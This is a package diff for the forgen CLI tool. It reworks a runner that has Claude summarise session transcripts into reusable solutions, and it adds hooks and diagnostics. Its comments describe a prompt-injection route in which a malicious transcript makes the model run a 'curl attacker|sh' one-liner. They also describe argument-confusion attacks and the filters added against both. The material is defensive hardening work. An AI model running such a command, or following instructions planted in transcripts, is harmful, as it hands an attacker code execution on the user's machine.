@wooojin/forgen 0.5.0 → 0.5.5

package/dist/core/auto-compound-runner.js

@@ -49,7 +49,10 @@ function execClaudeRetry(args, opts) {
         const MAX_ATTEMPTS = 2;
         for (let attempt = 1; attempt <= MAX_ATTEMPTS; attempt++) {
             try {
-                return execFileSync('claude', args, opts);
+                return execFileSync('claude', mod.withNestedRunClaudeArgs(args), {
+                    ...opts,
+                    env: { ...process.env, ...(opts.env ?? {}), ...mod.NESTED_RUN_ENV },
+                });
             }
             catch (e) {
                 const msg = e instanceof Error ? e.message : String(e);
@@ -122,7 +125,10 @@ export async function execClaudeRetryAsync(args, opts) {
         const MAX_ATTEMPTS = 2;
         for (let attempt = 1; attempt <= MAX_ATTEMPTS; attempt++) {
             try {
-                const { stdout } = await execFileAsync('claude', args, opts);
+                const { stdout } = await execFileAsync('claude', mod.withNestedRunClaudeArgs(args), {
+                    ...opts,
+                    env: { ...process.env, ...(opts.env ?? {}), ...mod.NESTED_RUN_ENV },
+                });
                 return typeof stdout === 'string' ? stdout : stdout.toString();
             }
             catch (e) {
@@ -359,31 +365,84 @@ try {
         }
     }
     catch { /* ignore */ }
+    // 결함2 corrected fix (2026-08-19): 이전엔 모델에게 `Bash(forgen compound:*)` 도구를 주고
+    // forgen compound 를 "직접 실행"시켰으나, headless haiku 는 도구 호출이 근본적으로
+    // 불안정해(라이브 확증: 동일 조건에서 실행/미실행 1↔0 오락가락) 산출이 forgen 생애
+    // 통틀어 0건이었다. 이제 behavior 경로와 동일하게 — 모델은 재사용 솔루션을 텍스트로만
+    // 출력하고(안정적), 러너가 파싱해 forgen 을 직접 실행한다.
+    //   이점: (a) 모델에 Bash 도구를 아예 주지 않으므로 P1-S1 인젝션 표면 제거 — 모델 출력은
+    //   파싱·필터를 거쳐 execFileSync 의 *인자*로만 쓰이고 셸을 거치지 않아 임의 명령 실행 불가.
+    //   (b) 도구 호출 신뢰성 문제 제거. (c) forgen 을 이 러너 node 의 형제 바이너리(절대경로)로
+    //   호출해 cron sparse PATH 에 forgen 이 없던 문제(라이브 확증)도 해소.
     const solutionPrompt = `다음은 이전 Claude Code 세션의 대화 요약입니다.
-미래 세션에서 재사용할 수 있는 패턴, 해결책, 의사결정을 추출해주세요.
+미래 세션에서 재사용할 수 있는 패턴/해결책/의사결정을 추출해주세요.
+각 항목을 정확히 아래 한 줄 형식으로만 출력하세요 (다른 설명 없이, 코드블록도 불필요):
+forgen compound --solution "제목" "설명 (무엇 + 왜 + 어떻게 적용)"
 
-각 항목은 반드시 다음을 포함해야 합니다:
-- **제목**: 구체적이고 검색 가능한 이름 (예: "vitest-mock-esm-pattern", "react-state-lifting-decision")
-- **설명**: (1) 무엇을 했는지 (2) 왜 그렇게 했는지 (3) 어떻게 적용하는지
-
-형식: forgen compound --solution "제목" "설명 (why + how to apply)"
+- 제목: 구체적이고 검색 가능한 이름 (예: "react-high-frequency-event-raf-throttle")
+- 설명: (1) 무엇을 했는지 (2) 왜 그렇게 했는지 (3) 어떻게 적용하는지
 추출할 것이 없으면 "추출할 패턴 없음"이라고만 답하세요.
 최대 3개. 피상적인 관찰(예: "TypeScript를 사용함")은 제외. 기존 솔루션과 중복 금지.${existingList}
 
 ---
 ${sanitizedSummary.slice(0, 6000)}
 ---`;
-    // P1-S1 fix (2026-04-20): 과거에는 `--allowedTools Bash`로 전체 Bash 권한을 줘서
-    // 악성 transcript(공급망 인젝션)가 filter를 우회해 `curl attacker|sh` 같은 명령을
-    // 피해자 권한으로 실행시킬 수 있었다. 이제 `Bash(forgen compound:*)`로 좁혀 Claude
-    // 가 compound 추출용 forgen CLI 호출만 가능하게 한다. filter-bypass 시에도 임의
-    // 명령 실행 차단.
+    let solutionOutput = '';
     try {
-        extractViaHaiku(['-p', solutionPrompt, '--allowedTools', 'Bash(forgen compound:*)', '--model', COMPOUND_MODEL], { cwd, timeout: 90_000, stdio: ['pipe', 'ignore', 'pipe'] });
+        solutionOutput = extractViaHaiku(['-p', solutionPrompt, '--model', COMPOUND_MODEL], { cwd, timeout: 90_000, encoding: 'utf-8' }) || '';
     }
     catch (e) {
         process.stderr.write(`[forgen-auto-compound] solution extraction: ${e instanceof Error ? e.message : String(e)}\n`);
     }
+    // 모델 출력에서 `--solution "제목" "설명"` 을 파싱해 forgen 을 직접 실행(결정론적).
+    // forgen 은 이 러너를 돌리는 node 의 형제 바이너리를 절대경로로 호출 — sparse PATH 의존 제거.
+    const nodeBinDir = path.dirname(process.execPath);
+    const forgenBin = fs.existsSync(path.join(nodeBinDir, 'forgen'))
+        ? path.join(nodeBinDir, 'forgen')
+        : 'forgen';
+    const solutionArgRe = /--solution\s+"((?:[^"\\]|\\.)+)"\s+"((?:[^"\\]|\\.)+)"/g;
+    let match;
+    let extractedCount = 0;
+    // biome-ignore lint/suspicious/noAssignInExpressions: regex exec 루프 관용구
+    while ((match = solutionArgRe.exec(solutionOutput)) !== null && extractedCount < 3) {
+        const title = match[1].replace(/\\"/g, '"').trim();
+        const rawContent = match[2].replace(/\\"/g, '"').trim();
+        if (!title || rawContent.length < 20)
+            continue;
+        // 보안(argument confusion): title/content 는 untrusted 모델 출력이다. execFileSync
+        // 인자로 넘기므로 셸 인젝션은 없지만, '-' 로 시작하면 forgen 의 인자 파서가 이를
+        // 플래그로 오해석할 수 있다(예: 악성 title "--remove" → 삭제 분기). 정상 제목/설명은
+        // '-' 로 시작하지 않으므로 대시-선두 값은 스킵한다. (handleCompound 의 위치인자 파서가
+        // startsWith('--') 를 필터하는 것에 더해 러너에서 원천 차단.)
+        if (title.startsWith('-') || rawContent.startsWith('-')) {
+            process.stderr.write('[forgen-auto-compound] solution: dash-leading title/content, skipping (arg-confusion guard)\n');
+            continue;
+        }
+        // 모델 출력은 untrusted transcript 파생 — 저장 전 injection/exfil 필터(defense in depth).
+        if (containsPromptInjection(`${title} ${rawContent}`)) {
+            process.stderr.write('[forgen-auto-compound] solution: injection detected in LLM output, skipping\n');
+            continue;
+        }
+        const contentScan = filterSolutionContent(rawContent);
+        if (contentScan.verdict === 'block') {
+            process.stderr.write('[forgen-auto-compound] solution: content blocked by filter, skipping\n');
+            continue;
+        }
+        try {
+            // title/content 는 execFileSync 의 *인자*로만 전달 — 셸 미경유라 메타문자가 있어도
+            // 명령 인젝션 불가. FORGEN_HOME 등 env 는 그대로 상속되어 올바른 스토어에 기록된다.
+            execFileSync(forgenBin, ['compound', '--solution', title, contentScan.sanitized], {
+                cwd,
+                timeout: 20_000,
+                stdio: ['ignore', 'ignore', 'pipe'],
+                env: { ...process.env, PATH: `${nodeBinDir}${path.delimiter}${process.env.PATH ?? ''}` },
+            });
+            extractedCount++;
+        }
+        catch (e) {
+            process.stderr.write(`[forgen-auto-compound] solution write: ${e instanceof Error ? e.message : String(e)}\n`);
+        }
+    }
     // Post-extraction quality validation: remove files that fail lightweight gates
     const removedCount = validateSolutionFiles(solutionsBefore);
     if (removedCount > 0) {

package/dist/core/changelog-cli.d.ts

@@ -4,4 +4,7 @@
  * Reads git log between the latest vX.Y.Z tag and HEAD, groups by
  * conventional commit type, and outputs a ready-to-paste changelog.
  */
-export declare function handleChangelog(): Promise<void>;
+/** `opts.cwd`: git 저장소 위치 (기본 process.cwd()). 테스트 fixture 용. */
+export declare function handleChangelog(opts?: {
+    cwd?: string;
+}): Promise<void>;

package/dist/core/changelog-cli.js

@@ -14,23 +14,23 @@ const C = {
     green: isTTY ? '\x1b[32m' : '',
     yellow: isTTY ? '\x1b[33m' : '',
 };
-function getLatestTag() {
+function getLatestTag(cwd) {
     try {
         return execFileSync('git', ['describe', '--tags', '--abbrev=0'], {
-            encoding: 'utf-8', timeout: 5000, stdio: ['pipe', 'pipe', 'pipe'],
+            encoding: 'utf-8', timeout: 5000, stdio: ['pipe', 'pipe', 'pipe'], cwd,
         }).trim();
     }
     catch {
         return null;
     }
 }
-function getCommitsSince(tag) {
+function getCommitsSince(tag, cwd) {
     try {
         const args = tag
             ? ['log', `${tag}..HEAD`, '--oneline', '--no-merges']
             : ['log', '--oneline', '--no-merges', '-30'];
         return execFileSync('git', args, {
-            encoding: 'utf-8', timeout: 10000, stdio: ['pipe', 'pipe', 'pipe'],
+            encoding: 'utf-8', timeout: 10000, stdio: ['pipe', 'pipe', 'pipe'], cwd,
         }).trim().split('\n').filter(Boolean);
     }
     catch {
@@ -55,9 +55,10 @@ const TYPE_ORDER = {
     chore: { label: 'Maintenance', order: 6 },
     other: { label: 'Other', order: 7 },
 };
-export async function handleChangelog() {
-    const tag = getLatestTag();
-    const rawCommits = getCommitsSince(tag);
+/** `opts.cwd`: git 저장소 위치 (기본 process.cwd()). 테스트 fixture 용. */
+export async function handleChangelog(opts = {}) {
+    const tag = getLatestTag(opts.cwd);
+    const rawCommits = getCommitsSince(tag, opts.cwd);
     if (rawCommits.length === 0) {
         console.log(`\n  ${C.dim}No commits since ${tag ?? 'beginning'}.${C.reset}\n`);
         return;

package/dist/core/compound-sweep-cli.d.ts

@@ -52,6 +52,9 @@ export interface CronOpResult {
 export declare function installCron(): CronOpResult;
 export declare function uninstallCron(): CronOpResult;
 export declare function cronStatus(): CronOpResult;
-/** CLI: forgen compound sweep [--dry-run|--install-cron|--uninstall-cron|--cron-status] [--window-hours N] [--stale-hours M] */
+/**
+ * CLI: forgen compound sweep [--dry-run|--install-cron|--uninstall-cron|--cron-status]
+ *   [--window-hours N] [--stale-hours M] [--prune-removed [--apply] [--retention-days N]]
+ */
 export declare function compoundSweepCli(args: string[]): void;
 export {};

package/dist/core/compound-sweep-cli.js

@@ -17,6 +17,7 @@ import { fileURLToPath } from 'node:url';
 import { STATE_DIR } from './paths.js';
 import { runAutoCompound } from './spawn.js';
 import { createLogger } from './logger.js';
+import { pruneRemovedRules } from '../store/rule-store.js';
 const log = createLogger('compound-sweep');
 export const DEFAULT_SWEEP_OPTS = {
     windowMs: 24 * 60 * 60 * 1000,
@@ -317,8 +318,15 @@ export function cronStatus() {
         return { ok: false, message: e.message };
     }
 }
-/** CLI: forgen compound sweep [--dry-run|--install-cron|--uninstall-cron|--cron-status] [--window-hours N] [--stale-hours M] */
+/**
+ * CLI: forgen compound sweep [--dry-run|--install-cron|--uninstall-cron|--cron-status]
+ *   [--window-hours N] [--stale-hours M] [--prune-removed [--apply] [--retention-days N]]
+ */
 export function compoundSweepCli(args) {
+    const num = (flag) => {
+        const i = args.indexOf(flag);
+        return i >= 0 && args[i + 1] ? Number(args[i + 1]) : undefined;
+    };
     // cron 관리 플래그 (상호배타 — 우선 처리)
     if (args.includes('--install-cron')) {
         const r = installCron();
@@ -333,11 +341,23 @@ export function compoundSweepCli(args) {
         console.log(`[forgen compound sweep] cron: ${cronStatus().message}`);
         return;
     }
+    // (D) removed 상태 rule 파일 정리. `forgen compound prune` 전용 top-level 커맨드
+    // 대신 sweep 을 확장한 형태로 노출 — cli.ts 라우팅(현재 `compound sweep`만 위임)을
+    // 건드리지 않기 위한 선택. 기본 dry-run — 실제 삭제는 --apply 명시 시에만.
+    if (args.includes('--prune-removed')) {
+        const apply = args.includes('--apply');
+        const retentionDays = num('--retention-days');
+        const r = pruneRemovedRules({
+            apply,
+            ...(retentionDays ? { retentionMs: retentionDays * 24 * 3600_000 } : {}),
+        });
+        console.log(`[forgen compound sweep --prune-removed] candidates=${r.candidates.length} ` +
+            (apply
+                ? `deleted=${r.deleted.length}`
+                : `(dry-run — add --apply to delete)${r.candidates.length ? ` [${r.candidates.map((id) => id.slice(0, 8)).join(', ')}]` : ''}`));
+        return;
+    }
     const dryRun = args.includes('--dry-run');
-    const num = (flag) => {
-        const i = args.indexOf(flag);
-        return i >= 0 && args[i + 1] ? Number(args[i + 1]) : undefined;
-    };
     const wh = num('--window-hours');
     const sh = num('--stale-hours');
     const r = runCompoundSweep({

package/dist/core/doctor.js

@@ -52,6 +52,33 @@ function relativeTime(isoString) {
     }
     return `${diffDays}d ago`;
 }
+/** ADR-014 D4 — [Codex Hooks] 섹션: hooks.json forgen 엔트리의 Codex trust 기록 대조 */
+async function renderCodexHookTrust() {
+    try {
+        const codexHome = process.env.CODEX_HOME ?? path.join(os.homedir(), '.codex');
+        const hooksPath = path.join(codexHome, 'hooks.json');
+        if (!fs.existsSync(hooksPath))
+            return; // Codex 미설치/미등록 — 섹션 생략
+        const { auditCodexHookTrust } = await import('../host/install-codex.js');
+        // pkgRoot: dist/core/doctor.js → 두 단계 위. 어차피 FORGEN_HOOK_SCRIPT_MARKER fallback 이 있어 정확도 비의존.
+        const pkgRoot = path.resolve(path.dirname(fileURLToPath(import.meta.url)), '..', '..');
+        const t = auditCodexHookTrust({ hooksPath, configTomlPath: path.join(codexHome, 'config.toml'), pkgRoot });
+        console.log('  [Codex Hooks]');
+        if (t.total === 0) {
+            console.log('  △ hooks.json 에 forgen hook 없음 — forgen install codex');
+        }
+        else if (t.trusted === t.total) {
+            console.log(`  ✓ ${t.trusted}/${t.total} forgen hooks trusted by Codex`);
+        }
+        else if (t.noStateRecorded) {
+            console.log(`  △ ${t.total} forgen hooks registered, Codex trust 기록 없음 — codex 안에서 /hooks 로 승인 (미승인 훅은 skip 됨)`);
+        }
+        else {
+            console.log(`  ✗ ${t.untrusted.length}/${t.total} forgen hooks untrusted (${t.untrusted.slice(0, 4).join(', ')}${t.untrusted.length > 4 ? ', …' : ''}) — codex 안에서 /hooks 로 승인`);
+        }
+    }
+    catch { /* fail-open */ }
+}
 /** [Codex Parity] 섹션 렌더링 — ~/.forgen/state/parity-result.json 신선도 검사 */
 function renderCodexParity() {
     console.log('  [Codex Parity]');
@@ -538,6 +565,8 @@ export async function runDoctor(opts = {}) {
         console.log('  Unable to read host evidence data.');
     }
     console.log();
+    // [Codex Hooks] — ADR-014 D4 trust 감사
+    await renderCodexHookTrust();
     // [Codex Parity] — parity-result.json 신선도 검사 (v0.4.2 패턴 확장)
     renderCodexParity();
     console.log();

package/dist/core/spawn.d.ts

@@ -1,5 +1,21 @@
 import type { V1HarnessContext } from './harness.js';
 import type { RuntimeHost } from './types.js';
+/**
+ * 사용자 메시지 수 카운트 (streaming).
+ *
+ * Audit fix #8 (2026-04-21): 이전에는 `fs.readFileSync(transcript, 'utf-8')`로
+ * 파일 전체를 메모리에 올렸다. 수백 MB 규모 transcript에서는 heap spike가
+ * 발생했고, 카운트 외엔 내용이 필요 없으니 streaming line-by-line로 충분하다.
+ */
+/**
+ * 0.4.6 — claude/codex 양 schema 호환.
+ *
+ * Claude JSONL: {type: 'user' | 'queue-operation', ...}
+ * Codex JSONL: {type: 'response_item', payload: {role: 'user' | 'developer' | 'assistant', ...}}
+ *
+ * 단일 함수에서 둘 다 처리 — schema 자동 감지.
+ */
+export declare function countUserMessages(transcriptPath: string): Promise<number>;
 /** runAutoCompound 결과 — sweep(무인 cron)이 실제 spawn 만 기록하도록 상태 반환. */
 export type AutoCompoundStatus = 'spawned' | 'skipped-inflight' | 'skipped-dedup' | 'failed';
 /**
@@ -22,6 +38,16 @@ export type AutoCompoundStatus = 'spawned' | 'skipped-inflight' | 'skipped-dedup
 export declare function claimAutoCompoundInflight(sessionId: string, now?: number): boolean;
 /** in-flight 슬롯 해제 (spawn 실패 시 재시도 가능하도록). */
 export declare function releaseAutoCompoundInflight(sessionId: string): void;
+/**
+ * ~/.forgen/state/auto-compound/<sessionId>.log — 세션별 러너 로그 경로.
+ *
+ * 결함2 관측성 fix (2026-08-18): 이전엔 detached spawn 을 `stdio: 'ignore'` 로
+ * 실행해 러너의 stdout/stderr(진단 메시지 포함)를 통째로 버렸다. 그 결과 solution
+ * extraction 이 98/98 sweep 에서 `extractedSolutions=0` 을 기록해도 원인을 알 방법이
+ * 없었다(완전 무음 실패). 이제 fd 를 파일로 열어 넘겨 러너의 모든 출력을 세션별
+ * 로그로 남긴다 — 다음 실패 모드를 디버그 가능하게 만드는 전제 조건.
+ */
+export declare function autoCompoundLogPath(sessionId: string): string;
 export declare function runAutoCompound(cwd: string, transcriptPath: string, sessionId: string, promptCount?: number): AutoCompoundStatus;
 /**
  * Plan B-1: 세션 transcript 사후 스캔으로 rate-limit 감지.

package/dist/core/spawn.js

@@ -112,7 +112,7 @@ function findSessionTranscript(cwd, sessionStartMs, preSnapshot, runtime = 'clau
  *
  * 단일 함수에서 둘 다 처리 — schema 자동 감지.
  */
-async function countUserMessages(transcriptPath) {
+export async function countUserMessages(transcriptPath) {
     const { createInterface } = await import('node:readline');
     const stream = fs.createReadStream(transcriptPath, { encoding: 'utf-8' });
     const rl = createInterface({ input: stream, crlfDelay: Infinity });
@@ -300,6 +300,18 @@ export function releaseAutoCompoundInflight(sessionId) {
         /* noop */
     }
 }
+/**
+ * ~/.forgen/state/auto-compound/<sessionId>.log — 세션별 러너 로그 경로.
+ *
+ * 결함2 관측성 fix (2026-08-18): 이전엔 detached spawn 을 `stdio: 'ignore'` 로
+ * 실행해 러너의 stdout/stderr(진단 메시지 포함)를 통째로 버렸다. 그 결과 solution
+ * extraction 이 98/98 sweep 에서 `extractedSolutions=0` 을 기록해도 원인을 알 방법이
+ * 없었다(완전 무음 실패). 이제 fd 를 파일로 열어 넘겨 러너의 모든 출력을 세션별
+ * 로그로 남긴다 — 다음 실패 모드를 디버그 가능하게 만드는 전제 조건.
+ */
+export function autoCompoundLogPath(sessionId) {
+    return path.join(STATE_DIR, 'auto-compound', `${sessionId.replace(/[^a-zA-Z0-9_-]/g, '_')}.log`);
+}
 export function runAutoCompound(cwd, transcriptPath, sessionId, promptCount = 0) {
     const now = Date.now();
     // 1. 완료 마커 cooldown (secondary, 단일슬롯 — 값싼 read 먼저).
@@ -322,17 +334,40 @@ export function runAutoCompound(cwd, transcriptPath, sessionId, promptCount = 0)
         return 'skipped-inflight';
     }
     const runnerPath = path.join(path.dirname(fileURLToPath(import.meta.url)), 'auto-compound-runner.js');
+    // 로그 파일 fd 열기 — 실패(디스크 문제 등)해도 fail-open 으로 'ignore' 폴백.
+    const logPath = autoCompoundLogPath(sessionId);
+    let logFd;
     try {
-        const child = spawn('node', [runnerPath, cwd, transcriptPath, sessionId, String(promptCount)], {
+        fs.mkdirSync(path.dirname(logPath), { recursive: true });
+        logFd = fs.openSync(logPath, 'a');
+    }
+    catch (e) {
+        log.debug('auto-compound 로그 파일 열기 실패 — stdio ignore로 폴백', e);
+    }
+    try {
+        // 결함2 corrected fix (2026-08-19): 리터럴 'node' 대신 process.execPath 로 spawn.
+        // 실 cron 은 절대 nvm node 경로로 sweep 를 돌리는데, 러너를 'node' 로 spawn 하면
+        // cron sparse PATH 의 /bin/node 로 해석돼 러너의 process.execPath 가 달라지고,
+        // 러너가 forgen(nvm 형제 바이너리)을 절대경로로 못 찾아 solution write 가 ENOENT 로
+        // 실패한다. execPath 를 물려주면 러너가 sweep 과 같은 node(=forgen 형제)를 상속한다.
+        const child = spawn(process.execPath, [runnerPath, cwd, transcriptPath, sessionId, String(promptCount)], {
             cwd,
             detached: true,
-            stdio: 'ignore',
+            stdio: logFd !== undefined ? ['ignore', logFd, logFd] : 'ignore',
         });
         child.unref();
+        if (logFd !== undefined)
+            fs.closeSync(logFd); // child가 dup — 부모 측 fd는 닫아도 안전
         console.log('\n[forgen] 세션 분석을 백그라운드로 시작했습니다 (자동 compound) — 결과는 다음 세션 시작 시 반영됩니다.\n');
         return 'spawned';
     }
     catch (e) {
+        if (logFd !== undefined) {
+            try {
+                fs.closeSync(logFd);
+            }
+            catch { /* noop */ }
+        }
         log.debug('auto-compound 시작 실패', e);
         releaseAutoCompoundInflight(sessionId); // spawn 실패 시 표식 제거 → 재시도 가능
         return 'failed';

package/dist/engine/compound-loop.js

@@ -210,6 +210,17 @@ export async function handleCompound(args) {
 `);
         return;
     }
+    // --- manual add (defense-in-depth, 2026-08-20) ---
+    // manual add(--solution/--rule/--convention/--pattern)를 아래 서브커맨드 dispatch 보다
+    // 먼저 처리한다. dispatch 는 args.includes('remove'|'clean-stale'|...) 로 전체 인자를
+    // 스캔하므로, add 의 위치인자(title/content)에 그런 토큰이 섞이면 삭제·정리 분기를
+    // 탈취할 수 있다(argument confusion — auto-compound 러너가 untrusted 모델 출력을 넘기던
+    // 경로에서 실증). type flag 는 add 전용이라 우선 처리해도 legit 동작 불변이며, 이렇게
+    // 하면 title/content 가 dispatch 스캔에 아예 닿지 않는다. (러너측 대시-선두 가드에 더한 2중 방어)
+    if (['--solution', '--rule', '--convention', '--pattern'].some(f => args.includes(f))) {
+        await handleManualAdd(args, cwd, scope);
+        return;
+    }
     // --- export command ---
     // 통짜 tar.gz export(플래그만, positional 없음) vs 이름 지정 패턴 export를
     // positional 인자 유무로 구분한다. `compound export foo` = 패턴 export,
@@ -435,10 +446,18 @@ export async function handleCompound(args) {
         console.log('  Unknown compound arguments. Run `forgen compound --help` for usage.\n');
         return;
     }
+    await handleManualAdd(args, cwd, scope);
+}
+/**
+ * 수동 인사이트 추가 (--solution/--rule/--convention/--pattern).
+ * handleCompound 에서 두 경로로 호출된다:
+ *  (1) hoisted early-dispatch — type flag 가 있으면 서브커맨드 스캔 전에 즉시(arg-confusion 방어).
+ *  (2) fallthrough — type flag 없이 다른 known flag(예: --to)만 있는 legacy 경로(동작 보존).
+ */
+async function handleManualAdd(args, cwd, scope) {
     console.log('\n  Compound Loop — Accumulating insights\n');
     console.log(`  Scope: ${scope.summary}`);
     console.log();
-    // 수동 인사이트 추가
     const type = args.includes('--solution') ? 'solution'
         : args.includes('--rule') ? 'rule'
             : args.includes('--convention') ? 'convention'

package/dist/hooks/context-guard.js

@@ -221,8 +221,12 @@ export async function main() {
             return;
         }
         const sessionId = input.session_id ?? 'default';
-        // Stop 훅: stop_hook_type이 있으면 처리
-        if (input.stop_hook_type) {
+        // Stop 훅 판별. Claude 는 `stop_hook_type`(user|end_turn|…) 을 주지만 Codex 의 Stop 입력에는 그 필드가
+        // 없고 `hook_event_name:"Stop"` 만 온다 (0.5.5 — 이전엔 Codex 세션에서 Stop 분기 전체가 건너뛰어져
+        // finalizeSession / Stop 트리거 auto-compound / rate-limit 감지가 돌지 않았다). Codex 의 정상 턴 종료는
+        // end_turn 과 동치로 취급한다.
+        const stopType = input.stop_hook_type ?? (input.hook_event_name === 'Stop' ? 'end_turn' : undefined);
+        if (stopType) {
             _hookEvent = 'Stop';
             // 세션 종료 시 pending outcome을 unknown으로 finalize.
             // 과거에는 프로덕션에서 호출되지 않아 pending이 다음 세션의 flushAccept에
@@ -289,7 +293,7 @@ export async function main() {
                 }
             }
             // 정상 종료 시: 의미 있는 세션이었으면 compound 안내/자동 트리거
-            if (input.stop_hook_type === 'user' || input.stop_hook_type === 'end_turn') {
+            if (stopType === 'user' || stopType === 'end_turn') {
                 const state = loadContextState(sessionId);
                 // ADR-002 T1 — 세션 중간에 교정이 들어와도 session-scoped rule 이 me-scope 으로
                 // 승급되도록 Stop 에서 직접 auto-compound-runner 를 debounced 로 트리거.

package/dist/hooks/hook-config.js

@@ -146,6 +146,11 @@ export function loadHookConfig(hookName) {
  *   4. 기본값 true (하위호환)
  */
 export function isHookEnabled(hookName) {
+    // -1) ADR-015 C-G1: forgen 자신이 띄운 중첩 `claude -p` 추출 실행 안에서는 모든 훅을 끈다.
+    //     (--bare 는 OAuth 를 끊어 쓸 수 없음.) 이전엔 추출 run 마다 22개 훅이 재귀 발화해
+    //     hook-timing / sessions / usage-telemetry 를 오염시키고 auto-compound 연쇄를 유발했다.
+    if (process.env.FORGEN_NESTED_RUN === '1')
+        return false;
     // 0) compound-core 가드레일 — config 어떤 경로로도 끌 수 없음
     if (PROTECTED_HOOKS.has(hookName))
         return true;

package/dist/hooks/hook-registry.d.ts

@@ -11,7 +11,7 @@
  *   - workflow: 워크플로우 스킬 훅 (다른 플러그인 감지 시 자동 비활성)
  */
 export type HookTier = 'compound-core' | 'safety' | 'workflow';
-export type HookEventType = 'UserPromptSubmit' | 'SessionStart' | 'Stop' | 'PreToolUse' | 'PostToolUse' | 'PostToolUseFailure' | 'SubagentStart' | 'SubagentStop' | 'PreCompact' | 'PermissionRequest';
+export type HookEventType = 'UserPromptSubmit' | 'SessionStart' | 'Stop' | 'PreToolUse' | 'PostToolUse' | 'PostToolUseFailure' | 'SubagentStart' | 'SubagentStop' | 'PreCompact' | 'PermissionRequest' | 'SessionEnd';
 export interface HookEntry {
     /** 고유 이름 (hook-config.json에서 사용) */
     name: string;
@@ -27,6 +27,11 @@ export interface HookEntry {
     timeout: number;
     /** compound 피드백 루프에 필수인 훅인지 */
     compoundCritical: boolean;
+    /**
+     * ADR-015: 이 훅을 등록할 host 목록. 생략 시 모든 host. Codex 의 hooks.json 은 바이트 동일성이
+     * 훅 신뢰(trust) 와 묶여 있으므로, Claude 에만 추가하는 이벤트는 `["claude"]` 로 한정한다.
+     */
+    hosts?: Array<'claude' | 'codex' | 'opencode'>;
 }
 export declare const HOOK_REGISTRY: HookEntry[];
 /** 티어별 훅 목록 조회 */

package/dist/hooks/hooks-generator.js

@@ -57,6 +57,9 @@ export function generateHooksJson(options) {
     const hasOtherPlugins = !releaseMode && detectInstalledPlugins(cwd).length > 0;
     // 활성 훅 필터링
     const activeHooks = HOOK_REGISTRY.filter(hook => {
+        // 0) ADR-015: host 한정 훅 (예: SessionEnd 는 Claude 전용 — Codex hooks.json 바이트 동일성 유지)
+        if (hook.hosts && !hook.hosts.includes(runtime))
+            return false;
         // 1) hook-config.json에서 명시적 비활성화 (releaseMode 시 무시)
         if (!releaseMode && !isHookEnabled(hook.name))
             return false;

package/dist/hooks/session-end.d.ts

@@ -0,0 +1,34 @@
+#!/usr/bin/env node
+/**
+ * Forgen — SessionEnd Hook (ADR-015 C-G6, Claude Code 전용)
+ *
+ * Claude Code `SessionEnd` (reason: clear|resume|logout|prompt_input_exit|other, 기본 예산 1.5s)
+ * 에서 이전 세션 transcript 를 auto-compound 러너에 넘긴다. 기존 트리거(Stop / PreCompact /
+ * 다음 SessionStart) 는 Stop 이 안 오는 종료(Ctrl+C, /exit 직후 종료) 와 "마지막 컴팩션 이후
+ * 학습" 을 놓쳤다 (memory: forgen-autocompound-gap). runAutoCompound 의 in-flight/cooldown dedup
+ * 이 이중 실행을 막는다.
+ *
+ * - 예산(기본 1.5s, registry timeout 3s 로 상향) 안에 끝나야 하므로: stdin 파싱 → user 메시지 수
+ *   (앞 200KB 만 읽음, 대용량 transcript 보호) → detached spawn.
+ * - Codex 에는 등록하지 않는다 (hooks.json 바이트 동일성 = 훅 신뢰 유지). Codex 의 SessionEnd 는
+ *   hooks.json 변경이 필요한 다음 메이저에서 함께 추가.
+ * - fail-open: 어떤 실패도 종료를 막지 않는다.
+ */
+/** session-recovery 와 동일 임계값 — 짧은 세션은 compound 가치가 없다. */
+export declare const MIN_USER_MESSAGES = 10;
+export interface SessionEndInput {
+    session_id?: string;
+    transcript_path?: string;
+    cwd?: string;
+    reason?: string;
+}
+/** 앞 N바이트만 읽는 상한. critic 2026-10-01: 239MB transcript 전체 스트리밍은 3.2s → 예산 초과로 SIGKILL. */
+export declare const COUNT_SCAN_BYTES: number;
+/**
+ * user 메시지 수를 transcript 앞 COUNT_SCAN_BYTES 만 읽어 센다 (session-recovery 와 동일 방식).
+ * 임계값(MIN_USER_MESSAGES) 판정에만 쓰이므로 하한 추정으로 충분하다. 큰 transcript 에서도 O(200KB).
+ */
+export declare function countUserMessagesBounded(transcriptPath: string, maxBytes?: number): number;
+/** 순수 판정: 이 입력으로 auto-compound 를 띄울지. (테스트 대상) */
+export declare function shouldRunSessionEndCompound(input: SessionEndInput | null, userMessageCount: number): boolean;
+export declare function main(): Promise<void>;

package/dist/hooks/session-end.js

@@ -0,0 +1,100 @@
+#!/usr/bin/env node
+/**
+ * Forgen — SessionEnd Hook (ADR-015 C-G6, Claude Code 전용)
+ *
+ * Claude Code `SessionEnd` (reason: clear|resume|logout|prompt_input_exit|other, 기본 예산 1.5s)
+ * 에서 이전 세션 transcript 를 auto-compound 러너에 넘긴다. 기존 트리거(Stop / PreCompact /
+ * 다음 SessionStart) 는 Stop 이 안 오는 종료(Ctrl+C, /exit 직후 종료) 와 "마지막 컴팩션 이후
+ * 학습" 을 놓쳤다 (memory: forgen-autocompound-gap). runAutoCompound 의 in-flight/cooldown dedup
+ * 이 이중 실행을 막는다.
+ *
+ * - 예산(기본 1.5s, registry timeout 3s 로 상향) 안에 끝나야 하므로: stdin 파싱 → user 메시지 수
+ *   (앞 200KB 만 읽음, 대용량 transcript 보호) → detached spawn.
+ * - Codex 에는 등록하지 않는다 (hooks.json 바이트 동일성 = 훅 신뢰 유지). Codex 의 SessionEnd 는
+ *   hooks.json 변경이 필요한 다음 메이저에서 함께 추가.
+ * - fail-open: 어떤 실패도 종료를 막지 않는다.
+ */
+import * as fs from 'node:fs';
+import * as path from 'node:path';
+import { fileURLToPath } from 'node:url';
+import { createLogger } from '../core/logger.js';
+import { readStdinJSON } from './shared/read-stdin.js';
+import { isHookEnabled } from './hook-config.js';
+import { approve } from './shared/hook-response.js';
+import { recordHookTiming } from './shared/hook-timing.js';
+const log = createLogger('session-end');
+/** session-recovery 와 동일 임계값 — 짧은 세션은 compound 가치가 없다. */
+export const MIN_USER_MESSAGES = 10;
+/** 앞 N바이트만 읽는 상한. critic 2026-10-01: 239MB transcript 전체 스트리밍은 3.2s → 예산 초과로 SIGKILL. */
+export const COUNT_SCAN_BYTES = 200 * 1024;
+/**
+ * user 메시지 수를 transcript 앞 COUNT_SCAN_BYTES 만 읽어 센다 (session-recovery 와 동일 방식).
+ * 임계값(MIN_USER_MESSAGES) 판정에만 쓰이므로 하한 추정으로 충분하다. 큰 transcript 에서도 O(200KB).
+ */
+export function countUserMessagesBounded(transcriptPath, maxBytes = COUNT_SCAN_BYTES) {
+    const fd = fs.openSync(transcriptPath, 'r');
+    try {
